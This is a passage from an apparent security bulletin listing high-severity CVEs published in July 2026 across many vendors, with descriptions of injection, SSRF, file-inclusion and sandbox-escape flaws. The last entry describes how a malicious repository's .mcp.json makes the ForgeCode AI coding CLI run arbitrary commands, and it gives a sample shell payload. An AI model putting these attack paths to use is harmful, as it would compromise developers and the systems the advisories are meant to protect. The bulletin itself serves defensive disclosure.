| sandboxie-plus--Sandboxie                                       | Sandboxie-Plus is an open source sandbox-based isolation software for Windows. Prior to 1.17.6, GuiServer::WndHookRegisterSlave in Sandboxie/core/svc/GuiServer.cpp stores attacker-supplied hthread and hproc fields from a GUI_WND_HOOK_REGISTER request without validating that the thread belongs to the sandboxed process or that the function pointer is in the caller address space, and GuiServer::WndHookNotifySlave then calls OpenThread(THREAD_SET_CONTEXT, FALSE, whk->hthread) and QueueUserAPC((PAPCFUNC)whk->hproc, hThread, (ULONG_PTR)req->threadid) as SYSTEM, allowing a sandboxed process to execute arbitrary code in an unsandboxed host process. This issue is fixed in version 1.17.6.                                                                               | 2026-07-15 | 7.7        | <a href="#">CVE-2026-45313</a> |
| SAP_SE--SAP Approuter                                           | Due to an HTTP Request Smuggling vulnerability in SAP Approuter, an unauthenticated attacker could send a specially crafted HTTP request that leads to request-response desynchronization. This could result in the exposure of user responses and cause the system to become unavailable. This leads to a high impact on confidentiality and availability.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 9.1        | <a href="#">CVE-2026-27690</a> |
| SAP_SE--SAP Approuter                                           | SAP Approuter does not properly validate incoming request headers during the OAuth2 login flow under certain configurations. This allows an unauthenticated remote attacker to craft a malicious link which, when clicked by a victim, could lead to unauthorized access. Successful exploitation results in a high impact to the confidentiality and integrity with no impact on the availability of the application.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 8.1        | <a href="#">CVE-2026-44745</a> |
| SAP_SE--SAP Change and Transport System Attach Tool (ctsattach) | SAP Change and Transport System Attach Tool (ctsattach) allows an authenticated attacker to supply a specially crafted archive file which, when processed by the application's library, can trigger insecure deserialization and lead to remote code execution (RCE) on the system. Successful exploitation requires a victim to process the malicious archive, enabling the attacker to execute the RCE and extract                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 7.6        | <a href="#">CVE-2026-58233</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                     | sensitive information and gain control over the system and its processes. This vulnerability has a high impact on confidentiality and integrity of the data, with a low impact on the availability of the system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| SAP_SE--SAP Commerce Cloud                                          | SAP Commerce Cloud could retain a sample OAuth2 client with publicly documented sample credentials originating from sample configuration provided in SAP Help Portal documentation. If left unchanged, an unauthenticated attacker could use these well-known credentials to obtain a valid access token and invoke certain APIs to read and modify data. Successful exploitation results in high impact on confidentiality and integrity, with no impact on availability.                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 9.1        | <a href="#">CVE-2026-44761</a> |
| SAP_SE--SAP NetWeaver Application Server ABAP                       | SAP NetWeaver Application Server ABAP allows an authenticated attacker to leverage logical errors in memory management to cause a memory corruption that could lead to unauthorized data access, modification, or system unavailability. This has high impact on confidentiality, integrity, and availability of the application.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 9.9        | <a href="#">CVE-2026-44747</a> |
| SAP_SE--SAP NetWeaver Application Server Java(Configuration Wizard) | SAP NetWeaver Application Server Java allows an unauthenticated attacker to inject malicious JavaScript through crafted URLs. When a victim accesses such a URL, the script executes in the user's browser, allowing the attacker to access sensitive session information and modify non-sensitive data displayed in the client's browser. This results in a high impact on confidentiality, low impact on integrity with no impact on availability of the application.                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 8.2        | <a href="#">CVE-2026-44752</a> |
| SAP_SE--SAProuter on Microsoft Windows                              | SAProuter on Microsoft Windows allows an unauthenticated attacker to load library (DLL) files from an untrusted location, allowing them to execute malicious code on the system. This could enable the attacker to hijack the DLL loading process and achieve arbitrary code execution. This has high impact on confidentiality, integrity and availability of the system.                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 8.4        | <a href="#">CVE-2026-0487</a>  |
| SaurabhSharma--NewsPlus Shortcodes                                  | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SaurabhSharma NewsPlus Shortcodes newsplus-shortcodes allows PHP Local File Inclusion.This issue affects NewsPlus Shortcodes: from n/a through <= 4.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57798</a> |
| scikit-hep--uproot                                                  | uproot dynamically generates Python class source code from ROOT TStreamerInfo records in a file and compiles it at runtime. Some file-controlled streamer metadata fields (for example, streamer element names) are interpolated into the generated Python source without safe quoting via repr() or the !r format specifier. An attacker who can supply a crafted ROOT file can place Python expression-breaking content into a streamer metadata field. When uproot generates and invokes the corresponding reader method, the injected Python expression is evaluated in the context of the process opening the file, resulting in arbitrary Python code execution in applications that open or process attacker-controlled ROOT files with affected uproot code paths. | 2026-07-18 | 7.8        | <a href="#">CVE-2026-9147</a>  |
| Select-Themes--SetSail                                              | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes SetSail setsail allows PHP Local File Inclusion.This issue affects SetSail: from n/a through <= 2.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57801</a> |
| Select-Themes--Struktur                                             | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Struktur struktur allows PHP Local File Inclusion.This issue affects Struktur: from n/a through <= 2.5.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57802</a> |
| Select-Themes--Struktur Core                                        | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Struktur Core struktur-core allows PHP Local File Inclusion.This issue affects Struktur Core: from n/a through <= 2.5.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57803</a> |
| Select-Themes--Tonda                                                | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Tonda tonda allows PHP Local File Inclusion.This issue affects Tonda: from n/a through <= 2.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57805</a> |
| Sergey--AIWU                                                        | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Sergey AIWU ai-copilot-content-generator allows Blind SQL Injection.This issue affects AIWU: from n/a through <= 1.5.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 9.3        | <a href="#">CVE-2026-59515</a> |
| ShapedPlugin LLC--Real Testimonials                                 | Deserialization of Untrusted Data vulnerability in ShapedPlugin LLC Real Testimonials testimonials-free allows Object Injection.This issue affects Real Testimonials: from n/a through <= 3.1.15.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.2        | <a href="#">CVE-2026-59521</a> |
| Shibby--Tomato                                                      | A vulnerability was determined in Shibby Tomato up to 1.28.0000. Affected is the function getupsvar of the file www/apcupsd/tomatodata.cgi of the component apcupsd. This manipulation of the argument Field causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 8.8        | <a href="#">CVE-2026-15544</a> |
| Shibby--Tomato                                                      | A vulnerability was identified in Shibby Tomato up to 1.28.0000. Affected by this vulnerability is the function main of the file www/apcupsd/tomatodata.cgi of the component apcupsd. Such manipulation leads to out-of-bounds write. The attack                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 8.8        | <a href="#">CVE-2026-15545</a> |

# High Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                     | may be launched remotely. The exploit is publicly available and might be used. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| Shibby--Tomato                      | A security vulnerability has been detected in Shibby Tomato up to 1.28.0000. This vulnerability affects the function sub_407220 of the file /usr/sbin/httpd of the component DNS List Rendering. The manipulation leads to stack-based buffer overflow. The attack is possible to be carried out remotely. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 8.8        | <a href="#">CVE-2026-15548</a> |
| Shibby--Tomato                      | A flaw has been found in Shibby Tomato 1.28 RT-N5x MIPS R2 Build 124. Affected by this issue is the function setup_contrack of the file /sbin/rc. Executing a manipulation of the argument ct_tcp_timeout can lead to out-of-bounds write. The attack may be performed from remote. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-18 | 8.8        | <a href="#">CVE-2026-16095</a> |
| Shibby--Tomato                      | A vulnerability has been found in Shibby Tomato 1.28 RT-N5x MIPS R2 Build 124. This affects the function sub_40BB50 of the file /proc/webmon_recent_domains. The manipulation leads to stack-based buffer overflow. It is possible to initiate the attack remotely. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-18 | 8.8        | <a href="#">CVE-2026-16096</a> |
| Shibby--Tomato                      | A vulnerability was found in Shibby Tomato 1.28. This vulnerability affects the function sub_42537C of the component Scheduler Name Handler. The manipulation of the argument a1 results in stack-based buffer overflow. It is possible to launch the attack remotely. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-18 | 8.8        | <a href="#">CVE-2026-16097</a> |
| Siemens--Opcenter X                 | A vulnerability has been identified in Opcenter X (All versions < V2604). Affected applications do not properly validate the algorithm specified in the JSON Web Token (JWT) header. This could allow an unauthenticated remote attacker to forge arbitrary JWT, bypass authentication mechanisms and impersonate any user including administrative accounts, potentially gaining full unauthorized access to the application.                                                                                                                                                                                                                                                                         | 2026-07-14 | 10         | <a href="#">CVE-2026-56451</a> |
| Siemens--SIMATIC S7-PLCSIM Advanced | A vulnerability has been identified in SIMATIC S7-PLCSIM Advanced (All versions). Affected devices do not properly handle high-volume multicast network traffic, which can exhaust available memory resources in the affected application. This could allow an unauthenticated attacker on the local network segment to cause a denial-of-service condition of the affected application. The affected application becomes inaccessible and requires a manual restart; no project data is lost. Successful exploitation requires a specific project configuration to be already active on the targeted instance.                                                                                        | 2026-07-14 | 7.4        | <a href="#">CVE-2026-54429</a> |
| SigNoz--signoz                      | SigNoz through 0.133.0 contains an open redirect vulnerability in the SSO authentication flow that allows unauthenticated attackers to steal session tokens from any user on instances configured with Google OAuth, SAML, or OIDC. Attackers can call the unauthenticated sessions context endpoint with a ref parameter pointing to an attacker-controlled host, deliver the resulting crafted login URL to a victim, and receive the victim's access and refresh tokens when they complete SSO authentication.                                                                                                                                                                                      | 2026-07-17 | 8.1        | <a href="#">CVE-2026-63094</a> |
| sigstore--sigstore-js               | sigstore-js provides JavaScript libraries for interacting with Sigstore services. Prior to 0.7.1, getRegistryCredentials() reads credentials from the Docker config file and selects an entry by checking whether any configured auth key contains the target registry string. Because this is a substring match rather than an exact host match, credentials configured for one registry can be selected for and transmitted to a different registry whose hostname has a substring relationship with a configured auth key. This issue is fixed in version 0.7.1.                                                                                                                                    | 2026-07-14 | 9.6        | <a href="#">CVE-2026-59891</a> |
| sigstore--sigstore-js               | sigstore-js provides JavaScript libraries for interacting with Sigstore services. Prior to 4.1.1, the documented certificateOIDs option in sigstore.verify() is accepted by the public API but discarded before verification, so required certificate extension OID's are never checked and applications relying on certificateOIDs to restrict which certificates may sign artifacts can accept unauthorized certificates. This issue is fixed in version 4.1.1.                                                                                                                                                                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48815</a> |
| SimpleMachines--SMF                 | Simple Machines Forum 2.1 prior to commit 4bf35cf and 3.0 prior to commit b4d23df contains a server-side request forgery vulnerability in the image proxy that allows authenticated attackers to trigger internal HTTP requests by embedding attacker-controlled URLs in BBCode image tags, which the proxy fetches without validating resolved destination IPs against private address ranges, loopback, or link-local addresses. Attackers can leverage SMF's automatic HMAC signature generation for any embedded image URL to obtain valid signed proxy requests targeting internal services such as cloud instance metadata endpoints, internal web applications, and container network services. | 2026-07-14 | 7.7        | <a href="#">CVE-2026-61520</a> |
| simplesamlphp--simplesamlphp        | SimpleSAMLphp versions before 1.18.6 contain an information disclosure vulnerability. Prior to 2.4.7 and 2.5.2, SimpleSAMLphp's SAML SP ACS path does not enforce the IdP selected for an SP-initiated login when unsigned                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 7.1        | <a href="#">CVE-2026-49284</a> |



# High Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                   | Response/InResponseTo is combined with a signed assertion lacking SubjectConfirmationData/InResponseTo, allowing a response issued by one trusted IdP to be bound to SP state created for another IdP and bypass flows that route users to a specific IdP, including deployments that set enable_unsolicited to false. This issue is fixed in versions 2.4.7 and 2.5.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| Sipeed--PicoClaw                                  | A weakness has been identified in Sipeed PicoClaw up to 0.2.9. This impacts the function web_fetch of the file pkg/tools/integration/web.go. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. Patch name: c15aac21fe05ee103a470e1104bc891754e83392. To fix this issue, it is recommended to deploy a patch.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16084</a> |
| SiteGround--SiteGround Email Marketing            | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SiteGround SiteGround Email Marketing siteground-email-marketing allows Stored XSS.This issue affects SiteGround Email Marketing: from n/a through <= 1.7.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57416</a> |
| skylot--jadx                                      | jadx is a Dex to Java decompiler. From 1.5.2 to 1.5.5, a malicious .xapk file can cause jadx to write attacker-controlled archive entry contents outside the intended XAPK plugin temporary unpack directory because XApkLoader resolves each entry name directly with tmpDir.resolve(fileName) after a CWD-based ZIP security check. When jadx is launched from a directory that is an ancestor of the config directory, the arbitrary write can plant a JAR in plugins/dropins, and the next jadx run loads the JAR with URLClassLoader and ServiceLoader, executing attacker-controlled plugin code. This issue is fixed in version 1.5.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7          | <a href="#">CVE-2026-54684</a> |
| Snowflake--Snowflake SQLAlchemy                   | Snowflake SQLAlchemy versions prior to 1.11.0 contain several security vulnerabilities, including: Improper handling of user-supplied column identifiers in merge operations could allow SQL injection through attacker-controlled input keys. An attacker may be able to exploit this through request field names in a dynamic upsert endpoint, potentially enabling read access to data visible to the application's database role or modification of values within the same MERGE statement. Improper literal rendering of bound parameters when building certain Snowflake-specific table creation queries could allow SQL injection. An attacker may be able to exploit this by supplying a crafted string to any application endpoint that passes user-controlled data through the affected query-building API, potentially causing arbitrary data exfiltration within the scope of the connection role. Improper forwarding of connection configuration parameters could allow an attacker to cause the library to read arbitrary local files and transmit their contents to an attacker-controlled endpoint. An attacker may be able to exploit this in deployment environments that accept user-controlled connection parameters, potentially exposing sensitive files accessible to the application process. The fix is available in Snowflake SQLAlchemy version 1.11.0. Users must manually upgrade. | 2026-07-14 | 8.3        | <a href="#">CVE-2026-15736</a> |
| SourceCodester--Class and Exam Timetabling System | A security flaw has been discovered in SourceCodester Class and Exam Timetabling System 1.0/2.php. This affects an unknown function of the file /edit_exam2.php. Performing a manipulation of the argument ID results in sql injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15597</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was found in SourceCodester Class and Exam Timetabling System 1.0. Affected is an unknown function of the file /edit_rooma.php. Performing a manipulation of the argument ID results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16152</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was determined in SourceCodester Class and Exam Timetabling System 1.0/1.php. Affected by this vulnerability is an unknown functionality of the file /edit_room1.php. Executing a manipulation of the argument ID can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-18 | 7.3        | <a href="#">CVE-2026-16154</a> |
| SourceCodester--Class and Exam Timetabling System | A security vulnerability has been detected in SourceCodester Class and Exam Timetabling System 1.0. This impacts an unknown function of the file /edit_subject.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-19 | 7.3        | <a href="#">CVE-2026-16227</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was detected in SourceCodester Class and Exam Timetabling System 1.0. Affected is an unknown function of the file /edit_schoolyr.php. Performing a manipulation of the argument ID results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-19 | 7.3        | <a href="#">CVE-2026-16228</a> |



# High Vulnerabilities

| Primary Vendor -- Product                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| SourceCodester--Online Book Store System             | A security flaw has been discovered in SourceCodester Online Book Store System 1.0. This vulnerability affects unknown code of the file admin/login.php. The manipulation of the argument Username results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.3        | <a href="#">CVE-2026-15537</a> |
| SourceCodester--Simple and Nice Shopping Cart Script | A vulnerability was detected in SourceCodester Simple and Nice Shopping Cart Script 1.0. This vulnerability affects unknown code of the file /admin/userproductdeletequery.php. Performing a manipulation of the argument user_id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15703</a> |
| SpecterOps--BloodHound                               | BloodHound through 9.4.0, fixed in commit 8f79035, contains a missing authorization vulnerability in the custom-nodes API endpoints that allows any authenticated user to modify the global graph schema. Attackers with valid session tokens can create, update, or delete custom node types affecting all users and tenants by invoking unprotected POST, PUT, and DELETE operations on the custom-nodes endpoints.                                                                                                                                                                                                                                                                                                        | 2026-07-15 | 7.1        | <a href="#">CVE-2026-59255</a> |
| Splunk--Splunk Enterprise                            | In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.8, and 9.4.13, and Splunk Cloud Platform versions below 10.5.2605.0, 10.4.2604.7, 10.3.2512.16, 10.2.2510.18, and 10.1.2507.24, an attacker could trick a user that holds a role with the 'list_deployment_server' capability into running arbitrary Search Processing Language (SPL) searches on their behalf as 'splunk-system-user', allowing for access to stored credentials and indexed data.<br><br>The vulnerability is possible because Deployment Server endpoints in Splunk Web do not validate Cross-Site Request Forgery (CSRF) tokens on GET requests, and caller-supplied input is not correctly neutralized before it is placed into an SPL search. | 2026-07-15 | 8.3        | <a href="#">CVE-2026-20296</a> |
| Splunk--Splunk Enterprise                            | In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.8, 9.4.13, and 9.3.14, and Splunk Cloud Platform versions below 10.5.2605.0, 10.4.2604.6, 10.2.2510.18, and 10.1.2507.24, a user who holds a role that contains the 'edit_local_apps' and 'install_apps' capabilities could cause a legitimate app installation to write files outside the intended app directory, into '\$SPLUNK_HOME/etc/' and its subdirectories.<br><br>The vulnerability is caused by a path traversal in the app installation workflow, which does not restrict the installation path to the intended app directory.                                                                                                                          | 2026-07-15 | 7.2        | <a href="#">CVE-2026-20297</a> |
| Spring Security--Spring Authorization Server         | Authentication bypass by primary weakness vulnerability in Spring Security Spring Authorization Server. This issue affects Spring Authorization Server: from 7.0.0 through 7.0.4, from 1.5.0 through 1.5.6, from 1.4.0 through 1.4.9, from 1.3.0 through 1.3.10.                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 9.6        | <a href="#">CVE-2026-22752</a> |
| square--wire                                         | Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.3.0 and 7.0.0-alpha03, ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() in wire-runtime do not validate that a LENGTH_DELIMITED field length is non-negative before skip(), allowing a crafted protobuf varint encoding -128 as a signed int to make skip(-128) move the internal position negative and make the next readByte() throw ArrayIndexOutOfBoundsException instead of the documented IOException or ProtocolException, which can crash services using ProtoAdapter.decode(byte[]) on untrusted payloads. This issue is fixed in versions 6.3.0 and 7.0.0-alpha03.                                          | 2026-07-17 | 7.5        | <a href="#">CVE-2026-45799</a> |
| stmcan--RT-Theme 18   Extensions                     | Deserialization of Untrusted Data vulnerability in stmcan RT-Theme 18   Extensions rt18-extensions allows Object Injection.This issue affects RT-Theme 18   Extensions: from n/a through <= 2.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 9.8        | <a href="#">CVE-2026-57744</a> |
| stmcan--RT-Theme 18   Extensions                     | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in stmcan RT-Theme 18   Extensions rt18-extensions allows PHP Local File Inclusion.This issue affects RT-Theme 18   Extensions: from n/a through <= 2.5.                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 8.1        | <a href="#">CVE-2026-57743</a> |
| stmcan--RT-Theme 18   Extensions                     | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in stmcan RT-Theme 18   Extensions rt18-extensions allows Reflected XSS.This issue affects RT-Theme 18   Extensions: from n/a through <= 2.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57745</a> |
| stoatchat--stoatchat                                 | stoatchat before 0.14.0 contains a server-side request forgery (SSRF) vulnerability that allows unauthenticated network-accessible attackers to bypass the DNS-based IP blocklist by exploiting incomplete address validation in the url_is_blacklisted function, which inspects only the first resolved address while the underlying HTTP client iterates all cached addresses.                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 8.6        | <a href="#">CVE-2026-63088</a> |
| stoatchat--stoatchat                                 | stoatchat before 0.13.5 contains an unauthenticated server-side request forgery vulnerability in the /proxy and /embed endpoints that accept arbitrary URLs without DNS resolution filtering or private IP range validation. Attackers can                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 8.6        | <a href="#">CVE-2026-63306</a> |

# High Vulnerabilities

| Primary Vendor -- Product     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                               | enumerate internal services, fingerprint applications, and reach instance metadata endpoints by supplying malicious URLs or leveraging redirect chains to access internal infrastructure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| StratonWebDesigners--HireFlow | HireFlow is a web-based interview management system for managing candidates, scheduling interviews, and tracking hiring progress. In 1.2 and earlier, app.py assigns a hard-coded Flask secret_key used to sign session cookies, allowing unauthenticated attackers who know the public source value to forge cookies containing role=admin and user_id values and bypass authentication. The advisory lists version 1.3 as fixed.                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 10         | <a href="#">CVE-2026-45336</a> |
| surrealdb--surrealdb          | SurrealDB before 1.0.1 sets default table permissions to FULL instead of NONE, allowing SELECT, CREATE, UPDATE, and DELETE operations on tables without explicit permissions. Attackers with database access or unauthenticated users on publicly exposed instances can perform unrestricted operations on unprotected tables within their authorization scope.                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-18 | 8.8        | <a href="#">CVE-2023-54366</a> |
| surrealdb--surrealdb          | SurrealDB before 1.5.5 (and 2.0.0-beta before 2.0.0-beta.3) accepts an arbitrary object in the signin and signup operations of the RPC API without recursively validating it for non-computed values. When a record access method defines a SIGNIN or SIGNUP query and the RPC API is exposed to untrusted users, an unauthenticated attacker can encode a binary object containing a subquery using the bincode serialization format and supply it in place of credentials. The subquery is then executed within the database owner's SIGNIN/SIGNUP query under a system user session with the editor role, allowing the attacker to select, create, update, and delete non-IAM resources (though not view the query results directly, and not affect IAM resources, which require the owner role). | 2026-07-18 | 8.8        | <a href="#">CVE-2024-58362</a> |
| surrealdb--surrealdb          | SurrealDB before 1.1.1 contains a format string vulnerability in the rquickjs Exception::throw_type function when scripting is enabled. Attackers with scripting privileges can supply format string sequences in error inputs to read arbitrary memory or execute code with SurrealDB process privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-18 | 8.5        | <a href="#">CVE-2024-58366</a> |
| surrealdb--surrealdb          | SurrealDB versions before 1.1.0 fail to properly parse the ID, DB, and NS headers in HTTP REST API requests containing special characters. Unauthenticated attackers can send crafted HTTP requests with malformed header values to trigger an uncaught exception that crashes the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-18 | 7.5        | <a href="#">CVE-2024-58368</a> |
| tagDiv--tagDiv Cloud Library  | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Cloud Library td-cloud-library allows DOM-Based XSS.This issue affects tagDiv Cloud Library: from n/a through <= 3.9.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57733</a> |
| tagDiv--tagDiv Composer       | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows Reflected XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57734</a> |
| tagDiv--tagDiv Opt-In Builder | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Opt-In Builder td-subscription allows DOM-Based XSS.This issue affects tagDiv Opt-In Builder: from n/a through <= 1.7.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57732</a> |
| tailcallhq--forgecode         | ForgeCode (tailcallhq/forgecode), an AI pair-programming CLI, automatically loads and executes the MCP servers defined in a repository's .mcp.json file on startup without user confirmation. A malicious repository can supply a crafted .mcp.json whose mcpServers entries specify arbitrary command and args values (for example, command: bash with args: ['-c', 'touch /tmp/pwned']). When a user runs the forge CLI inside a cloned untrusted repository, the specified commands are spawned with the invoking user's privileges, resulting in arbitrary code execution. This provides a reliable initial-access and persistence primitive against developers who evaluate untrusted repositories with ForgeCode.                                                                              | 2026-07-17 | 7.8        | <a href="#">CVE-2026-57860</a> |
